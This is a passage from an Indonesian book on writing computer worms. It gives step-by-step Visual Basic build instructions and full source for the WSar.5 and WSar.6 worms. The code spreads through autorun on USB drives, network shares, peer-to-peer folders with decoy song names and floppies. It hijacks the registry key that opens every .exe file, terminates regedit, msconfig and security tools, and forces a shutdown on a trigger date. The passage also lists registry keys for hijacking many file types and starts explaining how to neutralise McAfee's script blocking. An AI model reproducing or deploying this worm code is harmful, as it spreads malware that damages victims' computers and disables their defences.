If GetDriveType(Drive1.List(i) & "\") = 2 Then If Len(Dir$(Drive1.List(i) & "\autorun.inf")) = 0 Then CopyFile(WormFile, Drive1.List(i) & "\SETUP.EXE", False) SetAttr(Drive1.List(i) & "\SETUP.EXE", vbReadOnly) filenya = Drive1.List(i) & "\autorun.inf" Open filenya For Output As #1 Print #1, "[autorun]" Print #1, "OPEN=SETUP.EXE" Close(1) SetAttr(Drive1.List(i) & "\autorun.inf", vbReadOnly) End If End If Next i If Second(Now) < 6 Then FileCopy(WormFile, "a:\" & NamaCantik) End If End Sub Private Function WormFile() Dim WPath, WName As String WPath = App.Path If Right(WPath, 1) <> "\" Then WPath = WPath & "\" End If WName = App.EXEName & ".exe" WormFile = WPath & WName End Function

Berikut penjelasan tentang kode program: Diawali dengan beberapa pendeklarasian function API, yang berguna untuk mendapatkan direktori Windows dan direktori System Windows. Saat form di-load, worm memeriksa file "c:\dfinstall.log" yang menandakan keberadaan program DeepFreeze dan jika ternyata berhasil ditemukan maka worm akan mengakhiri proses file utama, demikian pula dengan program Virtual PC, worm akan memeriksa file yang secara default adalah "c:\windows\cntx\vpchelp.exe". Procedure juga menyembunyikan proses dari taskbar, memanggil procedure InfectSystem, dan mengakhiri proses jika ternyata file utama berada pada disket. Pada procedure InfectSystem worm membuat salinan file utama ke suatu direktori yang secara default berada di "c:\windows\config" kemudian memanipulasi registry dengan menambahkan key HKEY_ LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\LoadPowerProfile.EXE dengan value yang mengarah Bab 11 Worm WSar.5

161

Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

kepada file salinan tersebut dan menambahkan registry run dengan nama 'LoadPowerProfile dan value "LoadPowerProfile Rundll32.exe". Sebenarnya untuk value bisa menggunakan "LoadPowerProfile" saja, sengaja penulis tambahkan string "Rundll32.exe" dibelakangnya yang merupakan suatu file system Windows, dengan harapan dapat mengecoh penganalisa worm apabila akhirnya berhasil mengakses registry. Terakhir memanipulasi beberapa nilai registry dengan tujuan menjaga agar file System dan Hidden tetap tidak terlihat pada Windows Explorer. Procedure PayLoad pada WSar.5 akan terlihat lebih berbahaya, karena worm ini terlihat seperti menghapus seluruh file yang ada pada folder My Documents, namun sesungguhnya worm hanya mengatur semua file yang ada pada folder tersebut menjadi Hidden, System dan Read only yang tidak akan terlihat melalui Windows Explorer atau kotak dialog Open Documents. Timer tmrAntiDestroyer akan memanggil function WinQuit pada module mdlWinForce dengan menutup aplikasi yang pada title-nya mengandung kata vir, av, safe, start, process, spy, autoruns, hijack, patrol, alarm, task, config, folder option, system, properties, watson, remov, scan dan kill. Bab 11. Worm WSar.5 Timer tmrDisableWindow akan memanggil function WinAble pada module mdlWinForce dengan menonaktifkan mouse dan keyboard pada aplikasi yang title-nya mengandung string "REG". Timer tmrIseng akan memanggil function MinimizeAll pada module mdlMinimize dengan me-minimize semua jendela aplikasi yang aktif setiap 5 menit, dan jika tanggal dan bulan sekarang adalah 13 Oktober maka secara otomatis mengeksekusi procedure PayLoad, kemudian menampilkan sebuah kotak pesan dengan isi pesan "WSar.5 Ada Pada Komputer Anda". Procedure tmrSpreading_Timer akan membuat data array NamaAwal sebanyak 10 dan NamaTengah sebanyak 20. Worm kemudian akan menggunakan nama acak dan menggabungkan kedua data tersebut untuk dijadikan nama file worm yang baru.

Jasakom

162

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Worm juga menambahkan bilangan tahun yang akan datang, sehingga apabila tahun sekarang adalah 2008 maka nilainya menjadi 2009, lihat contoh nama file berikut ini: 1. crack deepfreeze 2009.exe 2. freeware transtool 2009.exe 3. full softice 2009.exe Procedure tmrSpreading_Timer kemudian mengatur nilai variabel FolderDocu dengan path My Documents yang didapatkan dari nilai registry, kemudian mengatur nilai properti Text pada txtPath dengan nilai yang sama pada variabel FolderDocu, mengatur nilai properti Text pada txtPath2 dengan suatu nilai berupa nama file dokumen Microsoft Word yang didapatkan dari function DIR dengan data dari nilai properti Text pada txtPath dan menambahkannya dengan string ".doc" sebagai ekstensinya, kemudian mengatur nilai variabel FullDocu dengan penggabungan nilai Text pada txtPath dan txtPath2, mengatur nilai variabel FirstFile menjadi nilai pada variabel FullDocu dengan terlebih dahulu menghilangkan 4 karakter disebelah kanan yang merupakan ekstensi file. Jika jumlah karakter Text pada txtPath2 lebih besar dari 4, yang artinya ada file dokumen ditemukan maka procedure mengatur atribut file yang ada pada nilai variabel FullDocu menjadi Hidden, kemudian membuat salinan worm ke direktori tersebut dengan nama yang sama dan disertai dengan ekstensi ganda ".zip .exe" sekaligus mengatur atribut file salinan tersebut menjadi normal. Selain itu worm akan membuat file konfigurasi AutoRun dengan nama file "autorun.inf" dan "setup.exe" disetiap removable disk (termasuk USB Flash Disk) yang terhubung, dengan tujuan agar removable disk yang terinfeksi secara otomatis akan menulari system komputer yang terhubung dengannya kemudian. Jika detik sekarang lebih kecil dari 6 maka procedure membuat salinan worm ke drive A dengan nama file yang diambil secara acak. Module mdlMinimize memanfaatkan function FindWindow dan PostMessage dari library user32, dengan membuat suatu function yang mengirimkan instruksi pada semua jendela aplikasi yang terbuka agar ter-minimize atau ter-maximize.

163

Jasakom

Bab 11 Worm WSar.5

Computer Worm 1 - Secret of Underground Coding : Uncensored

Module WinForce memanfaatkan function API PostMessage, EnumWindows, GetWindowText, EnableWindow, GetParent dan IsWindowVisible dari library user32, dengan membuat suatu function yang memeriksa caption setiap jendela aplikasi yang terbuka, dan dari caption yang ditentukan memungkinkan untuk menutup file tersebut atau membuatnya menjadi aktif/enable atau tidak aktif/disable.

Bab 11. Worm WSar.5


Jasakom

164

Computer Worm 1 - Secret of Undeground Coding : Uncensored

BAB 12 WORM WSar.6

orm ini bernama WSar.6 (worm dasar 6), menggunakan trik launcher yang disebut sebagai metode Shell Spawning, dimana worm akan aktif jika user mengeksekusi suatu file dengan ekstensi tertentu. Bab 12. Worm WSar.6 Melalui WSar.6 penulis akan mendemonstrasikan metode Shell Spawning dengan memanfaatkan ekstensi exe (executable files). Dengan teknik sedikit berbeda dengan worm sebelumnya, WSar.6 menutup aplikasi tidak dengan memanfaatkan title pada aplikasi, tetapi pada nama file aplikasi tersebut. Metode ini menjadi sangat berguna apabila worm ingin menutup aplikasi yang tidak memperlihatkan suatu jendela aplikasi apapun pada layar monitor. Contoh saja aplikasi antivirus, kenyataannya hampir semua aplikasi antivirus tidak menampilkan jendela aplikasi, bekerja secara background dan hanya menampilkan sebuah icon pada system tray saja. Selain itu worm memanfaatkan shared folder pada aplikasi peer to peer dan berusaha membuat salinan pada direktori network yang di share.

165

Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

12.1 ALGORITMA
WSar.6 memiliki rutin-rutin yang akan melakukan tindakan-tindakan sebagai berikut: 1. Melakukan pemeriksaan terhadap eksistensi worm itu sendiri pada suatu system komputer 2. Worm menyembunyikan dirinya dari task list 3. Kemudian Worm memanipulasi registry dengan tujuan pemanfaatan metode Shell Spawning 4. Saat menginfeksi suatu system komputer, worm akan membuat salinan file utama ke direktori System Windows dengan nama loadsys.exe dengan menggunakan icon flash.ico 5. Worm secara otomatis akan menonaktifkan aplikasi yang memiliki nama file; regedit.exe, regedt32.exe, install.exe, setup.exe, rl.exe, sysmechanic.exe, msconfig.exe 6. Pada saat tertentu worm akan membuat salinan dirinya pada disket, shared folder pada aplikasi peer to peer atau pada network 7. Dampak lain yang ditimbulkan adalah setiap 5 menit apabila aplikasi Notepad, Microsoft Word atau WordPad sedang aktif maka worm akan mengirimkan tulisan yang akan terketik sendiri pada halaman kerja aplikasi tersebut 8. Setiap tanggal 13 bulan Oktober akan menampilkan pesan "WSar.6 Ada Pada Komputer Anda", kemudian secara otomatis melakukan proses shut down.

Bab 12. Worm WSar.6

12.2 PEMROGRAMAN
Buat sebuah project baru pada aplikasi Visual Basic. Atur Project Name menjadi 'WSar, dan Application Title menjadi 'WSar.6 Tambahkan 4 buah object Timer dan 3 buah Module, kemudian atur properti untuk masing-masing object tersebut sebagai berikut:

Jasakom

166

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Properti object Form1 Jenis


Name Icon ShowInTaskbar Visible BorderStyle ControlBox

Nilai
frmWSar6 (Icon) False False None False

Keterangan
Mengatur nama form menjadi frmWSar6 Pilih icon yang akan digunakan pada form, WSar.6 menggunakan icon flash.ico Tidak menampilkan form pada taskbar Tidak menampilkan form pada layar. Tidak memberikan garis tepi pada form Tidak menggunakan control box

Properti object Timer1 Jenis


Name Enable Interval

Nilai
tmrWinExit True 500

Keterangan
Mengatur nama Timer menjadi tmrWinExit Pastikan Timer akan aktif saat form di-load Setiap instruksi pada procedure Timer akan dieksekusi setiap setengah detik

Properti object Timer2 Jenis


Name Enable Interval

Nilai
tmrSpreading True 1000

Keterangan
Mengatur nama Timer menjadi tmrSpreading Pastikan Timer akan aktif saat form di-load Setiap instruksi pada procedure Timer akan dieksekusi setiap 1 detik

167

Jasakom

Bab 12. Worm WSar.6

Computer Worm 1 - Secret of Underground Coding : Uncensored

Properti object Timer3 Jenis


Name Enable Interval Tag False 100 Woooy... kok ngetik sendiri neeh...

Nilai
tmrIseng

Keterangan
Mengatur nama Timer menjadi tmrIseng Pastikan Timer tidak aktif saat form di-load Setiap instruksi pada procedure Timer akan dieksekusi setiap 0.1 detik Tag ini akan digunakan pada procedure tmrIseng

Properti object Timer4 Jenis


Name Enable Interval

Nilai
tmrIsengLauncher True 1000

Keterangan
Mengatur nama Timer menjadi tmrIsengLauncher Pastikan Timer akan aktif saat form diload Setiap instruksi pada procedure Timer akan dieksekusi setiap satu detik

Properti Module1 Jenis Bab 12. Worm WSar.6


Name

Nilai
mdlWinExit

Keterangan
Mengatur nama module menjadi mdlWinExit

Properti Module2 Jenis


Name

Nilai
mdlWinFind

Keterangan
Mengatur nama module menjadi mdlWinFind

Properti Module3 Jenis


Name

Nilai
mdlRegistryAPI

Keterangan
Mengatur nama mdlRegistryAPI module menjadi

Jasakom

168

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Ketik kode program berikut ini pada module mdlWinExit:


Private Declare Function CreateToolhelp32Snapshot Lib "kernel32" _ (ByVal lFlags As Long, ByVal lProcessID As Long) As Long Private Declare Function Process32First Lib "kernel32" (ByVal _ hSnapshot As Long, ByVal lppe As PROCESSENTRY32) As Long Private Declare Function Process32Next Lib "kernel32" (ByVal _ hSnapshot As Long, ByVal lppe As PROCESSENTRY32) As Long Private Declare Function OpenProcess Lib "kernel32" (ByVal _ dwDesiredAccess As Long, ByVal bInheritHandle As Long, _ ByVal dwProcessId As Long) As Long Private Declare Function TerminateProcess Lib "kernel32" (ByVal _ hProcess As Long, ByVal uExitCode As Long) As Long Private Const TH32CS_SNAPPROCESS As Long = 2& Private Const MAX_PATH As Integer = 260 Private Type PROCESSENTRY32 dwSize As Long cntUsage As Long th32ProcessID As Long th32DefaultHeapID As Long th32ModuleID As Long cntThreads As Long th32ParentProcessID As Long pcPriClassBase As Long dwFlags As Long szExeFile As String * MAX_PATH End Type Public Function WinExit(ByVal sExeNam As String) Dim lLng As Long, lA As Long, lExCode As Long Dim procObj As PROCESSENTRY32 Dim hSnap As Long Dim lRet As Long hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0&) procObj.dwSize = Len(procObj) lRet = Process32First(hSnap, procObj) Do While Process32Next(hSnap, procObj) If InStr(1, LCase(procObj.szExeFile), LCase(sExeNam$)) > 0 Then lLng = OpenProcess(&H1, ByVal 0&, procObj.th32ProcessID) lA = TerminateProcess(lLng, lExCode) Exit Do End If Loop End Function

169

Jasakom

Bab 12. Worm WSar.6

Computer Worm 1 - Secret of Underground Coding : Uncensored

Untuk module mdlRegistryAPI, Anda bisa menggunakan module yang sama pada WSar.4, kemudian ketik kode program berikut ini pada module mdlWinFind:
Private Declare Function PostMessage Lib "user32" Alias _ "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, _ ByVal wParam As Long, ByVal lParam As Long) As Long Private Declare Function EnumWindows& Lib "user32" (ByVal _ lpEnumFunc As Long, ByVal lParam As Long) Private Declare Function GetWindowText Lib "user32" Alias _ "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString _ As String, ByVal cch As Long) As Long Private Declare Function IsWindowVisible& Lib "user32" (ByVal _ hwnd As Long) Private Declare Function GetParent& Lib "user32" (ByVal hwnd As _ Long) Public Declare Function EnableWindow Lib "user32" (ByVal hwnd _ As Long, ByVal fEnable As Long) As Long Dim sPattern As String, hFind As Long Const WM_CLOSE = &H10 Function EnumWinProc(ByVal hwnd As Long, ByVal lParam As _ Long) As Long Dim k As Long, sName As String If IsWindowVisible(hwnd) And GetParent(hwnd) = 0 Then sName = Space$(128) k = GetWindowText(hwnd, sName, 128) If k > 0 Then sName = Left$(sName, k) If lParam = 0 Then sName = UCase(sName) If sName Like sPattern Then hFind = hwnd EnumWinProc = 0 Exit Function End If End If End If EnumWinProc = 1 End Function Function WinFind(ByVal sWild As String, Optional ByVal bMatchCase As _ Boolean = True) As Long sPattern = sWild If Not bMatchCase Then sPattern = UCase(sPattern) EnumWindows(AddressOf EnumWinProc, bMatchCase) WinFind = hFind End Function

Bab 12. Worm WSar.6

Jasakom

170

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Ketik kode program berikut ini pada object frmWSar6:


'WSar.6 by Achmad Darmal 'Tarakan, Kalimantan Timur - Indonesia Option Explicit On Private Declare Function GetWindowsDirectory Lib "kernel32" _ Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, _ ByVal nSize As Long) As Long Private Declare Function GetSystemDirectory Lib "kernel32" Alias _ "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize _ As Long) As Long Private SF As String * 255 Dim bilangan As Integer Private Sub Form_Load() On Error Resume Next Dim Spawning As Object App.TaskVisible = False Spawning = Command() Shell (Spawning), vbNormalFocus If App.PrevInstance = True Then End InfectSystem() End Sub Private Sub InfectSystem() On Error Resume Next FileCopy(WormFile, SpecialFolder(1) & "\loadsys.exe") SetStringValue("HKEY_CLASSES_ROOT\exefile\shell\open\command", "", _ "loadsys.exe %1") End Sub Private Sub InfectNet() On Error Resume Next Dim networm As String Dim i, nr, nrnd As Integer Dim fsos Dim fso Dim netdrv fsos = CreateObject("Scripting.FileSystemObject") fso = CreateObject("WScript.Network") netdrv = fso.EnumNetworkDrives Dim NV(5) As String NV(0) = "readit" NV(1) = "playit" NV(2) = "launchit" NV(3) = "startit" NV(4) = "buncit" Randomize() nr = Int(Rnd * 999) nrnd = Int(Rnd * 5) networm = NV(nrnd) & nr & ".exe"

171

Jasakom

Bab 12. Worm WSar.6

Computer Worm 1 - Secret of Underground Coding : Uncensored

If netdrv.Count <> 0 Then For i = 0 To netdrv.Count - 1 If InStr(netdrv.Item(i), "\") <> 0 Then FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\windows\d" & _ "esktop\" & networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\windows\S" & _ "tart Menu\Programs\startup\" & networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Document" & _ "s and Settings\Administrator\Start Menu\Programs" & "\start" & _ "up\" & networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Document" & _ "s and Settings\All Users\Start Menu\Programs\startup\" & _ networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Document" & _ "s and Settings\Default User\Start Menu\Programs\" & "startup\" _ & networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Document" & _ "s and Settings\Administrator\Desktop\" & networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Document" & _ "s and Settings\All Users\Desktop\" & networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Document" & _ "s and Settings\Default User\Desktop\" & networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Winnt\Prof" & _ "iles\All Users\Start menu\Programs\Startup\" & networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Winnt\Prof" & _ "iles\All Users\Desktop\" & networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Winnt\Prof" & _ "iles\Administrator\Start menu\Programs\Startup\" & networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Winnt\Prof" & _ "iles\Administrator\Desktop\" & networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Winnt\Prof" & _ "iles\Default User\Start menu\Programs\Startup\" & networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Winnt\Prof" & _ "iles\Default User\Desktop\" & networm)) End If Next End If End Sub Private Sub tmrIseng_Timer() On Error Resume Next bilangan = bilangan + 1 SendKeys(Mid(tmrIseng.Tag, bilangan, 1)) If bilangan = Len(tmrIseng.Tag) Then tmrIseng.Enabled = False bilangan = 0 End If If Day(Now) = 13 And Month(Now) = 10 Then Call PayLoad() End Sub

Bab 12. Worm WSar.6

Jasakom

172

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Private Sub tmrIsengLauncher_Timer() On Error Resume Next If (Right(Minute(Now), 1) = 5 Or Right(Minute(Now), 1) = 0) And _ Second(Now) = 13 Then If WinFind("*pad*", False) <> 0 Or WinFind("*word*", False) <> _ 0 Then tmrIseng.Enabled = True End If End If End Sub Private Sub tmrSpreading_Timer() On Error Resume Next If (Minute(Now) = 16 Or Minute(Now) = 46) And Second(Now) = _ 13 Then Call PerToPer() End If If (Minute(Now) = 1 Or Minute(Now) = 31) And Second(Now) = _ 13 Then Call InfectNet() End If If (Right(Minute(Now), 1) = 2 Or Right(Minute(Now), 1) = 8) And _ Second(Now) = 13 Then Call InfectFloppy() End If End Sub Private Sub tmrWinExit_Timer() On Error Resume Next WinExit("regedit.exe") WinExit("regedt32.exe") WinExit("install.exe") WinExit("setup.exe") WinExit("rl.exe") WinExit("sysmechanic.exe") WinExit("msconfig.exe") End Sub Private Sub PerToPer() On Error Resume Next Dim wormname As String Dim Filone(4) As String Filone(0) = "New Song Of " Filone(1) = "The Best Of " Filone(2) = "New Album Of " Filone(3) = "Greatest Song Of " Dim Filtwo(8) As String Filtwo(0) = "Mariah Carey" Filtwo(1) = "M Jackson" Filtwo(2) = "Whitney" Filtwo(3) = "Metallica" Filtwo(4) = "Elvis Presley"

173

Jasakom

Bab 12. Worm WSar.6

Computer Worm 1 - Secret of Underground Coding : Uncensored

Filtwo(5) = "Kenny G" Filtwo(6) = "Aliyah" Filtwo(7) = "Bon Jovi" Dim Filthree(7) As String Filthree(0) = ".avi .exe" Filthree(1) = ".mpg .exe" Filthree(2) = ".mpeg .exe" Filthree(3) = ".wma .exe" Filthree(4) = ".mp3 .exe" Filthree(5) = ".wav .exe" Filthree(6) = ".mid .exe" Randomize() wormname = Filone(Int(Rnd * 4)) & Filtwo(Int(Rnd * 8)) & _ Filthree(Int(Rnd * 7)) Dim P2P(1 To 7) As String Dim w As Integer P2P(1) = "C:\Program Files\BearShare\Shared" P2P(2) = "C:\Program Files\Edonkey2000\Incoming" P2P(3) = "C:\Program Files\Grokster\My Grokster" P2P(4) = "C:\Program Files\KMD\My Shared Folder" P2P(5) = "C:\Program Files\Kazaa\My Shared Folder" P2P(6) = "C:\Program Files\Kazaa Lite\My Shared Folder" P2P(7) = "C:\Program Files\Morpheus\My Shared Folder" For w = 1 To 7 If Len(Dir$(P2P(w), vbDirectory)) <> 0 Then FileCopy(WormFile, P2P(w) & "\" & wormname) End If Next End Sub Private Function SpecialFolder(ByVal value) On Error Resume Next Dim FolderValue As String If value = 0 Then FolderValue = Left(SF, GetWindowsDirectory(SF, 255)) End If If value = 1 Then FolderValue = Left(SF, GetSystemDirectory(SF, 255)) End If If Right(FolderValue, 1) = "\" Then FolderValue = Left(FolderValue, Len(FolderValue) - 1) End If SpecialFolder = FolderValue End Function Private Sub InfectFloppy() On Error Resume Next Dim Acak As Integer Dim NamaCantik(10) As String NamaCantik(0) = "millionaire." NamaCantik(1) = "pussycat." NamaCantik(2) = "hangman." NamaCantik(3) = "test-IQ."

Bab 12. Worm WSar.6

Jasakom

174

Computer Worm 1 - Secret of Undeground Coding : Uncensored

NamaCantik(4) = "tom n jerry." NamaCantik(5) = "egg." NamaCantik(6) = "puzzle." NamaCantik(7) = "chess." NamaCantik(8) = "solitaire." NamaCantik(9) = "scrabble." Randomize() Acak = Int(Rnd * 10) If Len(Dir$("A:\*..exe")) = 0 Then FileCopy(WormFile, "A:\" & NamaCantik(Acak) & ".exe") End If End Sub Private Sub PayLoad() On Error Resume Next MsgBox("WSar.6 Ada Pada Komputer Anda", vbExclamation) Call Shell("Rundll32.exe user,exitwindows") End Sub Private Function WormFile() Dim WPath, WName As String WPath = App.Path If Right(WPath, 1) <> "\" Then WPath = WPath & "\" End If WName = App.EXEName & ".exe" WormFile = WPath & WName End Function

Berikut penjelasan tentang kode program: Bab 12. Worm WSar.6 Pada procedure Form_Load, worm mengatur agar saat load, worm secara otomatis mengeksekusi nama file yang ditambahkan setelahnya. Hal ini berkaitan dengan metode Shell Spawning yang digunakan WSar.6, sehingga bentuk umum worm dapat ditulis sebagai berikut:
worm [filename]

Contoh, untuk mengeksekusi file "c:\windows\notepad.exe" dengan nama file utama worm adalah loadsys.exe maka dapat menggunakan sintaksis berikut ini:
loadsys c:\windows\notepad.exe

Worm juga menyembunyikan proses dari taskbar, memeriksa proses instan yang sama dan mencegah file utama dieksekusi lebih dari satu kali dengan langsung mengakhiri proses file utama.

175

Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Pada procedure InfectSystem worm membuat salinan file utama ke direktori System Windows dengan nama file loadsys.exe kemudian memanipulasi registry pada key HKEY_CLASSES_ROOT\exefile\ shell\open\command dan mengubah value menjadi "loadsys.exe %1". Nilai registry ini akan mengeksekusi file loadsys.exe setiap kali user mengeksekusi file apa saja yang berekstensi "exe". Procedure InfectNect akan berusaha membuat salinan worm pada shared drive atau direktori dalam suatu jaringan, dengan menggunakan 5 nama file yang berbeda dan ditujukan pada direktori default StartUp, Desktop, dan My Documents. Procedure tmrIseng_Timer bekerja secara otomatis dengan mengetikkan tombol huruf tertentu pada keyboard, dan akhirnya akan membentuk suatu kalimat yang diambil dari tag pada object tmrIseng, yaitu kalimat "Woooy... kok ngetik sendiri neeh...". Sementara procedure tmrIsengLauncher_ Timer mengatur agar procedure tmrIseng_Timer aktif setiap lima menit, dan hanya jika worm menemukan jendela aplikasi yang mengandung kata word, seperti Microsoft Word atau mengandung kata pad seperti Notepad dan Wordpad. Procedure tmrSpreading_Timer mengatur agar apabila menit sekarang menunjukan nilai 16 atau 46 dan detik menunjukan nilai 13 maka worm memanggil procedure PerToPer. Apabila menit sekarang menunjukan nilai 1 atau 31 dan detik menunjukan nilai 13 maka worm memanggil procedure InfectNet, kemudian apabila satu angka disebelah kanan pada menit sekarang menunjukan nilai 2 atau 8 dan detik menunjukan nilai 13 maka worm memanggil procedure InfectFloppy. Procedure tmrWinExit_Timer berfungsi untuk memastikan tidak ada satupun dari program; regedit.exe, regedt32.exe, install.exe, setup.exe, rl.exe, sysmechanic.exe dan msconfig.exe yang dapat dijalankan oleh user, dengan memanggil function WinExit dari module mdlWinExit. Procedure PerToPer akan membuat salinan worm di setiap direktori default aplikasi peer to peer seperti BearShare, Edonkey, Grokster, KMD, Kazaa, KazaaLite dan Morpheus, dengan banyak membuat kombinasi nama file dan ekstensi. Bab 12. Worm WSar.6

Jasakom

176

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Procedure InfectFloppy berfungsi untuk membuat salinan file utama worm pada disket. Procedure PayLoad akan menampilkan pesan "WSar.6 Ada Pada Komputer Anda" dan langsung mematikan komputer. Catatan untuk WSar.6 : berikut ini adalah beberapa lokasi key pada registry yang bisa digunakan untuk metode Shell Spawning:

Ekstensi
EXE BAT HTA PIF COM GIF HTML HTT INF INI JPEG MID MP3 MPEG REG RTF SCR VBS WMA TXT

Lokasi Key
HKEY_CLASSES_ROOT\exefile\shell\open\command HKEY_CLASSES_ROOT\batfile\shell\open\command HKEY_CLASSES_ROOT\htafile\shell\open\command HKEY_CLASSES_ROOT\piffile\shell\open\command HKEY_CLASSES_ROOT\comfile\shell\open\command HKEY_CLASSES_ROOT\giffile\shell\Open\command HKEY_CLASSES_ROOT\htmlfile\shell\open\command HKEY_CLASSES_ROOT\HTTfile\shell\Edit\command HKEY_CLASSES_ROOT\inffile\shell\open\command HKEY_CLASSES_ROOT\inifile\shell\open\command HKEY_CLASSES_ROOT\jpegfile\shell\Open\command HKEY_CLASSES_ROOT\MIDFile\shell\open\command HKEY_CLASSES_ROOT\mp3file\shell\open\command HKEY_CLASSES_ROOT\mpegfile\shell\open\command HKEY_CLASSES_ROOT\regfile\shell\open\command HKEY_CLASSES_ROOT\rtffile\shell\open\command HKEY_CLASSES_ROOT\scrfile\shell\open\command HKEY_CLASSES_ROOT\VBSFile\Shell\Open\Command HKEY_CLASSES_ROOT\wmafile\shell\open\command HKEY_CLASSES_ROOT\txtfile\shell\open\command

Key ini juga terdapat pada HKEY_LOCAL_MACHINE\ Software\ CLASSES, sehingga untuk menggunakan metode Shell Spawning pada ekstensi exe dan txt, dapat menggunakan key berikut:

177

Jasakom

Bab 12. Worm WSar.6

Computer Worm 1 - Secret of Underground Coding : Uncensored

Ekstensi
EXE TXT

Lokasi Key
HKEY_LOCAL_MACHINE\Software\CLASSES\exefile\ shell\open\command HKEY_LOCAL_MACHINE\Software\CLASSES\txtfile\ shell\open\command

Untuk menggunakan metode Shell Spawning pada executable file seperti ekstensi exe dan com, sangatlah mudah seperti yang dicontohkan pada WSar.6, tetapi untuk ekstensi yang tidak merupakan file executable seperti txt dan rtf, maka harus ditambahkan nama file atas program yang umumnya digunakan untuk membuka ekstensi file tersebut. Sebagai contoh, berikut ini adalah penggunaan TXT spawning yang bisa diaplikasikan pada WSar.6
Private Sub Form_Load() On Error Resume Next Dim Spawning As Object App.TaskVisible = False Spawning = Command() Shell ("c:\windows\notepad.exe " & Spawning), _ vbNormalFocus If App.PrevInstance = True Then End InfectSystem() End Sub Private Sub InfectSystem() On Error Resume Next FileCopy(App.EXEName & ".exe", SpecialFolder(1) & _ "\loadsys.exe") SetStringValue("HKEY_CLASSES_ROOT\txtfile\shel" & _ "l\open\command", "", "loadsys.exe %1") End Sub

Bab 12. Worm WSar.6

Jasakom

178

Computer Worm 1 - Secret of Undeground Coding : Uncensored

BAB 13 WORM WSar.7

orm dasar 7 mendemonstrasikan suatu contoh internet worm lainnya, dengan pengiriman e-mail ber-attachment dan memanfaatkan aplikasi mIRC sebagai metode penyebaran. Bab 13. Worm WSar.7

WSar.7 menggunakan icon ekstensi txt dan akan membuka aplikasi Notepad apabila user mengeksekusinya. Metode ini juga digunakan oleh worm Pesin walaupun worm Pesin menggunakan metode yang sedikit berbeda. WSar.7 tergantung pada path file utama sedangkan Pesin tergantung pada parameter tambahan dalam pengeksekusiannya. Penulis juga mendemonstrasikan bagaimana suatu worm mampu 'menjinakan suatu antivirus tanpa harus menghapus file antivirus ataupun mengakhiri proses antivirus tersebut. Penulis memilih McAfee VirusScan versi 8 atau 9 sebagai bahan percobaan karena antivirus versi ini memiliki fasilitas ScriptStopper yang secara 'membabi buta akan menghentikan proses Scripting dan menampilkan kotak dialog konfirmasi, walaupun sebenarnya proses scripting tersebut bukan berasal dari suatu worm atau virus .

179

Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

13.1 COMPARISON METHODE


Pada prinsipnya setiap pengaturan yang bersifat tidak tetap atau dapat diubah pada setiap aplikasi termasuk antivirus umumnya disimpan dalam suatu file konfigurasi, dan lebih sering tersimpan pada system registry Windows, sehingga perlu untuk mempelajari bagaimana mengatur konfigurasi suatu aplikasi secara manual dengan memanfaatkan menu Help atau dengan membaca buku manualnya. Berikut ini adalah contoh langkah-langkah yang penulis sebut sebagai comparison methode atau metode perbandingan, yang akan digunakan pada WSar.7. 1. Langkah pertama adalah membuka aplikasi Registry Editor, kemudian mengekspor dan menyimpan nilai registry yang dimiliki aplikasi antivirus. Dalam hal ini, antivirus masih dalam konfigurasi default dan belum diadakan suatu perubahan apapun. Biasanya registry untuk software yang terinstal, terletak pada key berikut:
HKEY_CURRENT_USER\SOFTWARE\ HKEY_LOCAL_MACHINE\SOFTWARE\

Dalam hal ini McAfee VirusScan menyimpan konfigurasinya pada key: Bab 13. Worm WSar.7
HKEY_LOCAL_MACHINE\SOFTWARE\McAfee.com

Dengan subkey sebagai berikut:


Agent Agent\Apps Agent\Apps\VSO Agent\Links Agent\OEM Agent\Regwiz Agent\ResultLog Agent\SecurityNews Agent\SecurityNews\OEM Agent\Update Agent\Update\Download

Jasakom

180

Computer Worm 1 - Secret of Undeground Coding : Uncensored

